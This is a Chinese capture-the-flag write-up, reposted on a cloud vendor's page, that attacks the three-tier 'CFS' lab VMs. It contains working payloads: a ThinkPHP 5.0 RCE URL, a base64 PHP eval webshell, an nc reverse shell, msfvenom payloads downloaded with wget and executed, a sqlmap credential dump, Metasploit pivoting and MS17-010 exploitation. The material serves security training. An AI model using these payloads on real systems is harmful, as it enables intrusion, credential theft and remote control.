CFS靶机实战演练-从外网杀进三层内网,横向渗透拿到Flag

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: 这个靶机是 TeamsSix前辈 出的一个靶场

前言

这个靶机是TeamsSix前辈出的一个靶场,偏向于CTF,但是我认为它更适合真实环境!CFS靶场就是三层靶机的内网渗透,通过一层一层的渗透,获取每一层的Flag进行拿分!如果想要获取这个靶场的话,大家可以在我们Gcow安全团队成员的公众号"saulGoodman"回复"CFS"获取OVA文件下载地址!

环境搭建

打开靶机的时候需要对它IP进行简单的更改!我在VMware设置了虚拟网络,其中桥接VMnet0)我设置成和我PC是同一块网卡!(具体选择那块网卡就在网络适配器选项那里选择自己用的网卡)因为你不选择网卡的话VMware会自动选择一块网卡,很有可能导致桥接无法上网!

然后我又设置了VMnet1(仅主机模式)、VMnet2(仅主机模式),这两个个网络是不出外网的,也就是当做我们的内网主机!其中它们的子网地址分别是:

VMnet1: 子网IP192.168.22.0子网掩码:255.255.255.0VMnet2:子网IP192.168.33.0子网掩码:255.255.255.0

 

 

设置好虚拟网络之后我们打开靶机还需要设置一下他们的IP!这里我要编辑一下Target1IP子网掩码

ipconfig ens37 192.168.22.11 netmask 255.255.255.0注释:ens37 是我们的仅主机模式(VMnet1)的网卡

 

 

设置完Target1我们还需要设置Target2的网络:

ipconfig ens33 192.168.22.22 netmask 255.255.255.0ipconfig ens38 192.168.33.22 netmask 255.255.255.0

 

 

Targert3就不需要设置了,它已经被设置为192.168.33.33这个静态IP了:

 

 

设置完之后我们就可以对这个靶机开始渗透了!


攻击拓扑图

 

 

外部打点

先对Targer1进行信息搜集端口扫描:

nmap -A -T5 192.168.1.103 --script=vuln

root@liuwx:~# nmap -A -T5 192.168.1.103 --script=vulnStarting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 00:14 ESTPre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Stats: 0:09:24 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.77% done; ETC: 00:24 (0:00:00 remaining)
Nmap scan report for 192.168.1.103
Host is up (0.0012s latency).Not shown: 993 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     Pure-FTPd
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown: 22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:openbsd:openssh:7.4: 
|     CVE-2018-159195.0https://vulners.com/cve/CVE-2018-15919
|_    CVE-2017-159065.0https://vulners.com/cve/CVE-2017-1590680/tcp   open  http    nginx
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2011-3192: 
|   VULNERABLE:
|   Apache byterange filter DoS
|     State: VULNERABLE
|     IDs:  CVE:CVE-2011-3192  BID:49303
|       The Apache web server is vulnerable to a denial of service attack when numerous
|       overlapping byte ranges are requested.
|     Disclosure date: 2011-08-19
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|       https://www.tenable.com/plugins/nessus/55976
|       https://seclists.org/fulldisclosure/2011/Aug/175
|_      https://www.securityfocus.com/bid/49303111/tcp  open  rpcbind 2-4 (RPC #100000)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind888/tcp  open  http    nginx
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.3306/tcp open  mysql   MySQL (unauthorized)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)8888/tcp open  http    Ajenti http control panel
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /robots.txt: Robots file
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 00:0C:29:5A:1C:5E (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop


TRACEROUTE

HOP RTT     ADDRESS

1   1.16 ms 192.168.1.103

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 566.01 seconds

扫描出来之后发现它开放了21ftp)、22ssh)、80http)、111RPC)、888http)、3306Mysql)、8888http)这些端口服务!

其中扫出来了好多漏洞,例如:

 CVE-2011-1002Avahi Dos攻击)AvahiLinux下常用的类DNS服务。它可以帮助主机在没有DNS服务的局域网中,发现基于Zeroconf协议的设备和服务。该工具工作于UDP 5353端口。在0.6.29版本之前,该服务存在CVE-2011-1002漏洞。Nmapbroadcast-avahi-dos脚本会寻找本地网络的DNS服务器,并发送空的UDP包。如果存在该漏洞,就可以导致服务器奔溃。

 CVE-2018-15919OpenSSH信息泄露漏洞)其中CVE-2018-15919影响自201196日发布的5.9版本到今年824日发布的最新版本7.8CVE-2018-15473则影响自1999年以来至今年7.7版本中所有版本,远程攻击者可利用漏洞猜测在OpenSSH服务器上注册的用户名。

 CVE-2017-159067.6之前的OpenSSHsftp-server.c中的process_open函数不能正确阻止只读模式下的写操作,这使攻击者可以创建零长度文件。

 CVE-2011-3192Apache HTTP Server CVE-2011-3192拒绝服务漏洞)Apache HTTP Server是一款开源的流行的HTTPD服务程序。当处理包含大量Ranges头的HTTP请求时,ByteRange过滤器存在一个错误,攻击者可以向服务器发送特制HTTP请求,消耗大量内存,造成应用程序崩溃。

 CVE-2007-6750Apache HTTP服务器1.x2.x允许远程攻击者通过部分HTTP请求导致拒绝服务(守护进程中断),如Slowloris所示,这与2.2.15之前版本中缺少mod_ReqTimeout模块有关。

这些扫描出来的漏洞没什么可利用的价值,我们还是先看看它的web吧:

http://192.168.1.103/

 

 

ThinkPHP-V5.0-RCE-Getshell

打开后发现它是ThinkPHP框架,版本是V5.0,这个时候我想起了它存在一个RCE(远程命令执行),于是我利用网上的POC对它进行试探发现存在命令执行:

http://192.168.1.103/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

 

 

紧接着我写入一句话到cmd.php

http://192.168.1.103/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST['cmd']);?>" > cmd.php

 

 

写入成功是成功了,但是我们的$_POST被过滤掉了,估计有防护机制:

 

 

对于这种过滤,我们可以使用一些编码来绕过,例如URL编码BASE64编码...等等,我使用的是Base64编码:

编码前:<?php @eval($_POST["cmd"]);?>编码后:PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=POC: echo "PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=" | base64 -d > cmd.php

 

 

随后重新写入一句话到cmd.php获取到webshell

http://192.168.1.103/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4="|base64 -d > cmd.php

 

 

 

 

这里还有另一种方法!既然它可以执行命令那么我们直接让他反弹shell到我们的nc就可以了:

KALInc -lnvp 6666

目标:nc 192.168.1.104 6666 -e /bin/bash

 

 

这个时候成功获取shell!随后我用python获取一枚bash

python -c 'import pty;pty.spawn("/bin/bash")'

 

 

杀入第一层内网Target1

获取到shell后在网站的/www/wwwroot/ThinkPHP/public目录下获取到了一个Flag

 

 

接着查看robots.txt文件得到第二个Flag:

 

 

随后在系统根目录下拿到了第三个Flag

 

 

杀入第二层内网Target2

首先我是先查看了系统内核,发现他是2019年,x86位的:

 

 

那么我还是先用MSF生成一个可执行文件来反弹一枚shell吧:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 -f elf > 4444.elf

 

 

生成完后我们需要把木马上传到目标主机,我是用python打开了Web服务:

python -m SimpleHTTPServer 8090

 

 

然后在目标主机中使用wget下载我们的木马:

wget http://192.168.1.104:8090/4444.elf

 

 

最后给4444.elf一个可执行权限并运行成功上线:

chmod +x 4444.elf./4444.elf

 

 

 

 

上线之后我查看ifconfig发现他有个网卡:

meterpreter > ifconfig 
Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:
Interface  2
============
Name         : ens33
Hardware MAC : 00:0c:29:5a:1c:5e
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.1.103
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::1be:3f23:9cb6:8513
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface  3
============
Name         : ens37
Hardware MAC : 00:0c:29:5a:1c:68
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.22.128
IPv4 Netmask : 255.255.255.0
IPv4 Address : 192.168.22.11
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::28fe:91ab:c417:d360
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface  4
============
Name         : virbr0
Hardware MAC : 52:54:00:5a:99:42
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
Interface  5
============
Name         : virbr0-nic
Hardware MAC : 52:54:00:5a:99:42
MTU          : 1500
Flags        : BROADCAST,MULTICAST
meterpreter >

其中可用的网卡就是这两个:

 

 

紧接着我使用MSF中的这个命令获取当前的网段:

run get_local_subnets

 

 

发现它有两个网段:一个是192.168.1.10/24,另一个是192.168.22.0/24!随后我只给后者添加一个路由表(因为前者的内网主机有我内网的主机,就不添加了!):

run autoroute -s 192.168.22.0/24

 

image.png

 

添加成功后我需要对它的内网进行扫描,看看内网中有多少存活的主机!我用到的扫描模块是这个:

auxiliary/scanner/portscan/tcp

 

 

image.png

扫描出来发现192.168.22.22这台主机存活,肯定有人会说192.168.22.11这台主机不是也存活吗?实际上192.168.22.11这台主机就是我们的WEB服务器!所以说我们就怼192.168.22.22这台主机!

 

 

紧接着后渗透我使用了socks4代理,用到的模块是这个:

auxiliary/server/socks4a

 

 

然后我们还需要设置一下proxychain代理:

vim /etc/proxychains.conf

 

 

image.png

设置完后我们就可以对它内网进行扫描了!首先是对它进行端口扫描看看它开放了那些端口服务:

proxychains nmap -Pn -sT 192.168.22.22注释:(因为socks4不支持ICMP协议,所以我们就不用对它使用ping,所以就使用-Pn 参数,而-sT是使用TCP扫描)

 

 

image.png

由上图可知,它开放了21(ftp)22ssh)、80http)、3306mysql)、8888sun-answerbook)这些端口服务!先从 80web服务开始查看:

http://192.168.22.22/

 

 

BageCMS-SQL注入

打开后发现网站CMSBageCMS,我还是先对它进行目录扫描吧,看看有什么目录文件:

proxychains dirb http://192.168.22.22

 

 

扫描得到了一个robots.txt文件,打开后发现了他的目录文件、后台地址和CMS信息:

http://192.168.22.22/robots.txt

 

 

image.png

image.png

 

 

尝试了弱口令后没有成功!紧接着我查看了它的主页源码发现了一个提示信息:

HintSQL注入点:/index.php?r=vul&keyword=1

 

 

既然靶场作者都提示说是SQL注入,那么直接上Sqlmap一梭哈获取到了后台账号和密码hash

proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" 
-p keyword -D bagecms -T bage_admin -C username,password –dump
Database: bagecms
Table: bage_admin
[1 entry]
+----------+-------------------------------------------+
| username | password                                  |
+----------+-------------------------------------------+
| admin    | 46f94c8de14fb36680850768ff1b7f2a (123qwe) |
+----------+-------------------------------------------+

 

 

BageCMS-后台Getshell

拿到后台账号密码登录进去后得到了一个Flag

flag{eS3sd1IKarw}

 

 

image.png

接下来就要获取webshell了,我是在后台模板这里找到了可以编辑PHP文件的地方:

 

 

随后编辑index.php写入一句话到里面:

 

 

然后再设置一下Proxifier的代理规则:

 

image.png

 

这样就可以使用蚁剑连接webshell了:

 

 

紧接着我在upload目录找到了Flag

flag{23ASfqwr4t2e}

 

 

 

 

我们再使用MSF生成一个木马让它上线吧,这里我使用的是正向Payload(因为在内网中它无法访问到外网,所以就只能我们去连接它):

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=5555 -f elf > 5555.elf

 

image.png

 

然后打开我们的MSF(这里需要使用代理打开,不然反弹不回来shell

proxychains msfconsole

 

 

image.png

 

 

杀入第三层内网Target3

反弹回来之后我查看ifconfig发现了两个可用的网卡:

 

 

然后获取当前网卡可用的网段:

run get_local_subnets

 

image.png

从上图可以看到,他有两个网段,第一个是192.168.22.0/24,第二个是192.168.33.0/24,我们重复之前的操作,添加一个路由表到后者:

run autoroute -s 192.168.33.0/24

 

 

添加成功后我们使用之前那个扫描模块,设置好PORTSRHOSTS

 

 

 

 

扫描完后发现发开放了4453389端口,因此判断有可能是Windows系统!

为了验证,我使用了这个模块去探测它的操作系统:

auxiliary/scanner/smb/smb_version

 

image.png

 

 

 

[+] 192.168.33.33:445     - Host is running Windows 7 Ultimate SP1 (build:7601) (name:WIN-POVQ8FCTTO4)

果然是Windwos 的系统,而且版本是Windows 7 Ultimate SP1!既然它是Windwos 7系统,而且开放了445端口,有没有可能会存在MS17-010(永恒之蓝)呢?

Windwos7-MS17-010提权拿到Flag

紧接着我使用了MSF的模块对它进行探测看看是否存在永恒之蓝,我使用的辅助模块是这个:

auxiliary/scanner/smb/smb_ms17_010

 

 

由上图可知,MSF检测出192.168.33.33这台主机存在MS17-010(永恒之蓝)!那么我们就可以对它进行利用,接下来使用这个利用模块:

exploit/windows/smb/ms17_010_psexec

 

 

注意一下,我们选择MS17_010这个利用模块后,我们还需要设置一下Payload,因为它默认的是reverse_tcp(反向),而它主机不能出外网所以就只能使用正向bind_tcp)我们去连接它!

设置好参数后运行exploit获取到一枚Meterpreter

 

 

由上图可知,我们已经是系统权限了!最后就是找到Flag文件:

 

 

最终也是在Administrator用户的Desktop桌面找到了Flag.txt

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
1月前
|
运维 安全 Linux
IDC服务器故障排除思路
本文详细介绍了服务器维修流程,包括维修前的工具和备件准备,以及不拆机情况下的初步检查步骤。文中还提供了拆机维修的具体方法,如最小化测试法、替换法和交叉比较法,并针对CPU、主板、内存、硬盘、电源、风扇、网卡及BMC等主要配件的故障排除进行了说明,强调了注意事项,旨在帮助技术人员快速准确地定位并解决问题。
74 13
|
3月前
|
监控 安全 网络安全
防火墙配置与管理技巧深度解析
【8月更文挑战第19天】防火墙的配置与管理是网络安全工作的重中之重。通过明确安全策略、精细的访问控制、日志与监控、更新与维护等配置技巧,以及权限管理、自动化与集成、应急响应计划等管理技巧,可以显著提升防火墙的安全防护能力。然而,网络安全是一个持续的过程,需要不断学习和适应新的威胁和挑战。因此,建议网络安全从业人员保持对新技术和新威胁的关注,不断提升自己的专业技能和应对能力。
|
6月前
|
网络协议 数据安全/隐私保护 网络架构
如何使用软路由R4S+iStoreOS实现远程访问内网电脑桌面
如何使用软路由R4S+iStoreOS实现远程访问内网电脑桌面
|
安全 Java 关系型数据库
域渗透之外网打点到三层内网(二)
域渗透之外网打点到三层内网
224 0
域渗透之外网打点到三层内网(二)
|
SQL 安全 网络安全
域渗透之外网打点到三层内网(一)
域渗透之外网打点到三层内网
179 0
域渗透之外网打点到三层内网(一)
|
SQL 安全 网络协议
域渗透之外网打点到三层内网(三)
域渗透之外网打点到三层内网
288 0
域渗透之外网打点到三层内网(三)
|
缓存 网络协议 Unix
【网络篇】第十八篇——ping的工作原理
【网络篇】第十八篇——ping的工作原理
【网络篇】第十八篇——ping的工作原理
|
Windows
网络基础 图解Windows系统下单网卡设置双IP访问不同网段的方法
网络基础 图解Windows系统下单网卡设置双IP访问不同网段的方法
856 0
|
SQL 安全 Ubuntu